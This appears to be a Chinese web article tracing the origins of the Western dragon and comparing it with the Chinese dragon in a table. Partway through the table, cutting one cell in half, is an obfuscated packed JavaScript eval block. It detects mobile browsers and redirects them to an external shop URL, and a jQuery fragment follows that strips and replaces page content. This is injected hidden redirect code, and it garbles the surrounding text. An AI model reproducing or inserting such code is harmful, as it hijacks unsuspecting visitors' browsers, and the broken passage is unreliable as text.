西方龙（Dragon）的起源是多元文化融合演化的结果，从早期的巨蛇雏形逐步变成带翅喷火的形象，还被赋予了明确的文化象征，具体演变脉络如下：
早期雏形：两河流域与古希腊的巨蛇形象。西方龙的雏形可追溯到美索不达米亚神话，其中海洋女神迪亚马特的后代怒蛇，以巨蛇形象奠定了其早期的神秘怪物基调。而它的英文“dragon”源自希腊语“drakon”，原意就是“巨大的海蛇”。
当时希腊神话里的龙，像守护金苹果的百首巨龙拉冬、守护金羊毛的恶龙等，都是无翼巨蛇形态，仅以缠绕、撕咬或放毒为攻击方式。
形象成型：北欧神话与史诗的塑造。公元8世纪的北欧史诗《贝奥武夫》是关键转折点，书中首次将龙描绘成带翅膀、能喷火、守护宝藏的邪恶生物。
此外北欧神话中啃噬世界树根部的黑龙尼德霍格，进一步丰富了龙的“破坏性”特质，这也基本勾勒出后世西方龙的核心外形与性格框架。
象征固化：中世纪基督教的推动。中世纪时基督教文化让西方龙的邪恶形象彻底定型，《圣经·启示录》将龙与撒旦绑定，视其为邪恶的化身。
同时骑士文化兴起，“屠龙”成了彰显正义与勇气的象征。
这一时期的手抄本、纹章艺术里，龙被明确加上蝠翅、坚硬鳞甲，最终形成蜥蜴状带翅喷火的经典形象，其贪婪、凶残的性格也被彻底固化。
多元补充：凯尔特等文化的融入。
凯尔特神话中的红龙也为西方龙文化添了一抹特别色彩，它后来和亚瑟王传说结合，成为威尔士的象征，如今还出现在威尔士国旗上，算是西方龙形象中少见的正面代表，与主流邪恶龙形象形成了反差。
西方龙（Dragon）与中国龙（龙）的核心区别集中在形象、象征意义、文化属性三大维度。
维度西方龙（Dragon）中国龙（龙）
外形特征蜥蜴/蝙蝠状身体，带膜质蝠翅，鳞片坚硬，多有尖角、利爪，擅长喷火/喷毒蛇身、鹿角、鱼鳞、鹰爪、牛耳，无翼却能腾云驾雾，主控水、呼风唤雨
象征意义主流为邪恶、贪婪、毁灭（与撒旦绑定），少数为守护象征（如威尔士红龙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806045|190753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
）绝对祥瑞、权威、吉祥（皇权象征，如“真龙天子”；民间代表风调雨顺、五谷丰登）
文化属性基督教文化中“邪恶的化身”，骑士“屠龙”是正义之举；神话中多守护宝藏，性格凶残孤僻上古神话中是创世/护世神兽（如应龙治水），传统文化中是“四灵”之一，代表生命力与天命，民间祭祀求福
能力侧重攻击性强（喷火、撕咬、放毒），偏向破坏属性掌控自然（控水、调风雨、御雷电），偏向滋养与守护属性
文化影响影视/游戏中多为反派BOSS（如《霍比特人》恶龙史矛革），少数正面改编（如《驯龙高手》）渗透民俗（春节舞龙、端午赛龙舟）、艺术、政治，是中华民族精神图腾。
西方龙是“怪物”（多数），中国龙是“神祇”（核心），前者是被征服的对象，后者是被崇拜的存在。
西方龙的“翅+喷火”是战斗与毁灭的具象化，中国龙的“多动物部件融合”是上古图腾整合的产物，象征万物和谐。
西方龙多引发恐惧与对抗欲，中国龙承载着敬畏与信仰，是民族身份的精神符号。